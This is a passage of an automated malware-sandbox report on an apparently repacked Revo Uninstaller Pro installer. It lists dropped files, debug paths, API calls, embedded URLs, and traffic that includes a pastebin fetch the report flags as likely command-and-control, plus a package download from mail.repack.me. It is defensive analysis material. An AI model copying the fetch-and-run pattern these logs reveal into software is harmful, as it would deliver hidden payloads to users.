Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\simplifiedchinese.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\slovak.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\slovenian.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\spanish.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\swedish.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\thai.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\traditionalchinese.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\turkish.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\ukrainian.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\lang\vietnamese.ini	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\Uninstall.exe	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.sys	Jump to behavior
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Directory created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\revoflt.inf	Jump to behavior

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe

Registry value created: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Revo Uninstaller Pro

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	File created: C:\Users\user\AppData\Local\Temp\.opera\Opera Installer\opera_installer_20241209115408145.log
Source: C:\Users\user\AppData\Local\Temp\7zSCAE7B8AA\setup.exe	File created: C:\Users\user\AppData\Local\Temp\.opera\Opera Installer\opera_installer_20241209115410771.log

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe

File created: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\License.txt

Jump to behavior

Source: unknown	HTTPS traffic detected: 104.20.3.235:443 -> 192.168.2.4:49736 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 194.87.189.43:443 -> 192.168.2.4:49737 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 107.167.96.30:443 -> 192.168.2.4:49824 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 107.167.96.38:443 -> 192.168.2.4:49849 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 107.167.96.39:443 -> 192.168.2.4:49850 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 107.167.125.189:443 -> 192.168.2.4:49851 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 107.167.96.30:443 -> 192.168.2.4:49857 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 107.167.96.36:443 -> 192.168.2.4:49858 version: TLS 1.2

Source: Revo.Uninstaller.Pro.v5.3.4.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxrar32\Release\sfxrar.pdb source: PACK.EXE, 00000010.00000002.2716176964.0000000001002000.00000002.00000001.01000000.00000012.sdmp, PACK.EXE, 00000010.00000003.2196303250.0000000004E01000.00000004.00000020.00020000.00000000.sdmp, PACK.EXE, 00000010.00000003.2194996794.00000000045FE000.00000004.00000020.00020000.00000000.sdmp, PACK.EXE, 00000010.00000000.2193337281.0000000001002000.00000002.00000001.01000000.00000012.sdmp
Source:	Binary string: C:\Work\VSRevo\Windows\Projects\VSProjectPro\build\x64\Release\VSProjectPro\VSProjectPro64.pdbU source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006045000.00000004.00000020.00020000.00000000.sdmp, RevoUninPro.exe, 00000009.00000000.2018481789.000000014095B000.00000002.00000001.01000000.0000000C.sdmp, RevoUninPro.exe, 0000000C.00000000.2134444155.000000014095B000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\Work\VSRevo\Windows\Projects\VSProjectPro\build\x86\Release\VSProjectPro\VSProjectPro.pdbO source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004072000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Work\VSRevo\Windows\Projects\VSProjectPro\build\x64\Release\VSProjectPro\VSProjectPro64.pdb source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006045000.00000004.00000020.00020000.00000000.sdmp, RevoUninPro.exe, 00000009.00000000.2018481789.000000014095B000.00000002.00000001.01000000.0000000C.sdmp, RevoUninPro.exe, 0000000C.00000000.2134444155.000000014095B000.00000002.00000001.01000000.0000000C.sdmp
Source:	Binary string: C:\Work\VSRevo\Windows\Projects\RevoAppBar\x64\Release\RevoAppBar.pdb source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000005140000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Work\VSRevo\Windows\Projects\RevoAppBar\Release\RevoAppBar.pdb source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.00000000033A7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Work\VSRevo\Windows\Projects\RevoUninProPort\Release\RevoUPPort.pdb source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: installer_lib.dll.pdb source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp
Source:	Binary string: c:\minispy\filter\objfre_wlh_x86\i386\revoflt.pdb source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: installer_lib.dll.pdb@ source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp
Source:	Binary string: C:\Work\VSRevo\Windows\Projects\RUExt\build\x86\Release\RUExt\RUExt.pdb source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Work\VSRevo\Windows\Projects\RevoCmd\Release\RevoCmd.pdb source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000003890000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Work\VSRevo\Windows\Projects\VSProjectPro\build\x86\Release\VSProjectPro\VSProjectPro.pdb source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004072000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: c:\minispy\filter\objfre_wlh_x86\i386\revoflt.pdb2 source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Work\VSRevo\Windows\Projects\RevoCmd\x64\Release\RevoCmd.pdb source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.000000000569D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\ognian\source\repos\revoflt\Release\revoflt.pdb source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Code function: 0_2_00402930 FindFirstFileW,	0_2_00402930
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Code function: 0_2_004069FF FindFirstFileW,FindClose,	0_2_004069FF
Source: C:\Users\user\Desktop\Revo.Uninstaller.Pro.v5.3.4.exe	Code function: 0_2_00405DAE CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	0_2_00405DAE
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FDA2DF FindFirstFileW,FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	16_2_00FDA2DF
Source: C:\Users\user\AppData\Local\Temp\PACK.EXE	Code function: 16_2_00FEAFB9 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	16_2_00FEAFB9
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Code function: 26_2_004069FF FindFirstFileW,FindClose,	26_2_004069FF
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Code function: 26_2_00405DAE CloseHandle,GetTempPathW,DeleteFileW,lstrcatW,lstrcatW,lstrlenW,FindFirstFileW,FindNextFileW,FindClose,	26_2_00405DAE
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\ya.exe	Code function: 26_2_00402930 FindFirstFileW,	26_2_00402930

Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	File opened: C:\Program Files (x86)\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\LibCurl32.DllA\OpenSSL32.DllA\	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	File opened: C:\Program Files (x86)\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	File opened: C:\Program Files (x86)\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\1033\	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	File opened: C:\Program Files (x86)\Microsoft Office\root\Office16\ODBC Drivers\	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	File opened: C:\Program Files (x86)\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\lib\LibCurl32.DllA\	Jump to behavior
Source: C:\Program Files\VS Revo Group\Revo Uninstaller Pro\RevoUninPro.exe	File opened: C:\Program Files (x86)\Microsoft Office\root\Office16\ODBC Drivers\Salesforce\	Jump to behavior

Networking

Connects to a pastebin service (likely for C&C)

Source: unknown

DNS query: name: pastebin.com

Source: Joe Sandbox View	IP Address: 104.20.3.235 104.20.3.235
Source: Joe Sandbox View	IP Address: 104.20.3.235 104.20.3.235

Source: Joe Sandbox View

JA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19

Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1
Source: unknown	UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: global traffic	HTTP traffic detected: GET /raw/vkwZzU9B HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: pastebin.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /tsjtmfdm.pkg HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: mail.repack.meConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /opera/stable/windows?utm_source=DWNLST&utm_medium=apb&utm_campaign=r10 HTTP/1.1User-Agent: NSIS_Inetc (Mozilla)Host: net.geo.opera.comConnection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /me/ HTTP/1.1User-Agent: Opera NetInstaller/115.0.5322.77Host: autoupdate.opera.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /api/v2/features?country=US&language=en-GB&uuid=a6c287cc-47e5-4bf0-9dac-fbaf9040d09e&product=&channel=Stable&version=115.0.5322.77 HTTP/1.1User-Agent: Opera NetInstaller/115.0.5322.77Host: features.opera-api2.comCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /download/get/?id=69044&autoupdate=1&ni=1&stream=stable&utm_campaign=r10&utm_medium=apb&utm_source=DWNLST&niuid=cd9f81c6-729a-4d95-ac71-1ebba75bfc7b HTTP/1.1User-Agent: Opera NetInstaller/115.0.5322.77Host: download.opera.comCache-Control: no-cache

Source: setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: c. Facebook Messenger: A messaging service provided by Facebook, Inc., Meta Platforms Ireland Ltd. or related companies, depending on where you are accessing their services. Terms of use are available at https://www.facebook.com/legal/terms; and equals www.facebook.com (Facebook)
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Googlehttps://www.bing.com/search?q=https://www.google.com/search?q=https://search.yahoo.com/search?p=Yahoohttps://duckduckgo.com/?q=DuckDuckGoSelectedEngineGeneral\WebSearchURL` equals www.yahoo.com (Yahoo)
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004072000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: MjViewTypeSort by column\RegBackup\Daily\\Steam\steam.exe--uninstall-app-id=Sort type64Microsoft .NETUpdate for Windows--profile-RedistMicrosoft Web DeployMicrosoft Visual C++Microsoft SQL ServerMicrosoft System CLRLast Full Backup/XOpenJDKURLInfoAbout /in "%s"\RevoAppBar.exe/I(.exe;.com;.msi)\|.exe;.com;.msi\|(.)\|.\|ModifyPathI\data\cachedata.dat\data\OLDcachedata.dathttps://www.facebook.com/pages/Revo-Uninstaller/53526911789\data\Prevcachedata.datOpen-ShellSOFTWARE\Microsoft\Installer\Products\SOFTWARE\Microsoft\Windows\CurrentVersion\App Management\ARPCache\ProductIconInstaller\Products\PotPlayerctor.dllSlowInfoCacheantamedia hotspotInstallDateSystemComponent\Installer\UserData\MsiExec.exe /X%02d.%02d.%dPublisherDisplayIconInstallLocationParentKeyName\InstallPropertiesHelpLinkCommentsSOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\WindowsInstallerSOFTWARE\Microsoft\Windows\CurrentVersion\Installer\UserData\S-1-5-18\Products\\Products\cachedata.datEstimatedSizeMsiExec.exe\data\' AND RDN LIKE '' AND RPVer LIKE '%d.%dSELECT * FROM ILogs WHERE RKey=' /i /x /I /XQuietUninstallString"%s" /S %s%s /quiet%s /qn\contrast-black\.scale-400%s /S_contrast-blackx 64x 86.targetsize-256UninstallSection%d64bit32bitx-64x-86(x64 edition)(x86 edition)64 bit32 bitMicrosoft Edge WebView2 Runtimex64 editionx86 edition equals www.facebook.com (Facebook)
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006045000.00000004.00000020.00020000.00000000.sdmp, RevoUninPro.exe, 00000009.00000000.2018481789.000000014095B000.00000002.00000001.01000000.0000000C.sdmp, RevoUninPro.exe, 0000000C.00000000.2134444155.000000014095B000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: ViewType\RegBackup\Daily\\Steam\steam.exe64Sort typeSort by columnMicrosoft .NETRedist--profile---uninstall-app-id=Microsoft Web DeployMicrosoft System CLRMicrosoft SQL ServerUpdate for WindowsLast Full BackupURLInfoAboutOpenJDKMicrosoft Visual C++ /in "%s"(.exe;.com;.msi)\|.exe;.com;.msi\|(.)\|.\|/I/XModifyPath\data\OLDcachedata.dat\data\cachedata.dat\RevoAppBar.exe\data\Prevcachedata.dathttps://www.facebook.com/pages/Revo-Uninstaller/53526911789I equals www.facebook.com (Facebook)
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006045000.00000004.00000020.00020000.00000000.sdmp, RevoUninPro.exe, 00000009.00000000.2018481789.000000014095B000.00000002.00000001.01000000.0000000C.sdmp, RevoUninPro.exe, 0000000C.00000000.2134444155.000000014095B000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: https://www.bing.com/search?q=YahooGooglehttps://www.google.com/search?q=https://duckduckgo.com/?q=General\WebSearchhttps://search.yahoo.com/search?p=DuckDuckGoSelectedEngineURL` equals www.yahoo.com (Yahoo)

Source: global traffic	DNS traffic detected: DNS query: pastebin.com
Source: global traffic	DNS traffic detected: DNS query: mail.repack.me
Source: global traffic	DNS traffic detected: DNS query: net.geo.opera.com
Source: global traffic	DNS traffic detected: DNS query: autoupdate.geo.opera.com
Source: global traffic	DNS traffic detected: DNS query: desktop-netinstaller-sub.osp.opera.software
Source: global traffic	DNS traffic detected: DNS query: autoupdate.opera.com
Source: global traffic	DNS traffic detected: DNS query: features.opera-api2.com
Source: global traffic	DNS traffic detected: DNS query: download.opera.com
Source: global traffic	DNS traffic detected: DNS query: download3.operacdn.com

Source: unknown

HTTP traffic detected: POST /v5/netinstaller/opera/Stable/windows/x64 HTTP/1.1User-Agent: Opera NetInstaller/115.0.5322.77Host: autoupdate.geo.opera.comContent-Length: 656Cache-Control: no-cache

Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000003890000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.000000000569D000.00000004.00000020.00020000.00000000.sdmp, RevoUninPro.exe, 00000009.00000000.2018481789.0000000140887000.00000002.00000001.01000000.0000000C.sdmp, RevoUninPro.exe, 0000000C.00000000.2134444155.0000000140887000.00000002.00000001.01000000.0000000C.sdmp	String found in binary or memory: http:////file:////www.web.OS
Source: setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: http://autoupdate-staging.services.ams.osa/netinstallervwindows?&One
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDCA-1.crt0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000003890000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.000000000569D000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertAssuredIDRootCA.crt0E
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertEVCodeSigningCA-SHA2.crt0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000003890000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.000000000569D000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalG3CodeSigningECCSHA3842021CA1.crt0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000003890000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.000000000569D000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootG3.crt0B
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertHighAssuranceEVRootCA.crt0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertSHA2AssuredIDTimestampingCA.crt0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000003890000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.000000000569D000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4CodeSigningRSA4096SHA3842021CA1.crt0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000003890000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.000000000569D000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedG4RSA4096SHA256TimeStampingCA.crt0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000003890000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.000000000569D000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertTrustedRootG4.crt0C
Source: powershell.exe, 00000011.00000002.2327417192.00000000083CC000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000011.00000002.2323270683.00000000072E4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.micro
Source: powershell.exe, 00000011.00000002.2327417192.00000000083CC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.microsoftRR
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDCA-1.crl08
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000003890000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.000000000569D000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000006F17000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp, setup.exe, 0000001D.00000000.2721982112.000000000012A000.00000002.00000001.01000000.00000019.sdmp, setup.exe, 00000020.00000000.2749093578.000000000012A000.00000002.00000001.01000000.00000019.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0:
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertAssuredIDRootCA.crl0P
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000003890000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.000000000569D000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalG3CodeSigningECCSHA3842021CA1.crl0N
Source: Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000003890000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.000000000569D000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000002E22000.00000004.00000020.00020000.00000000.sdmp, Revo.Uninstaller.Pro.v5.3.4.exe, 00000000.00000002.2777965863.0000000004DC5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootG3.crl0
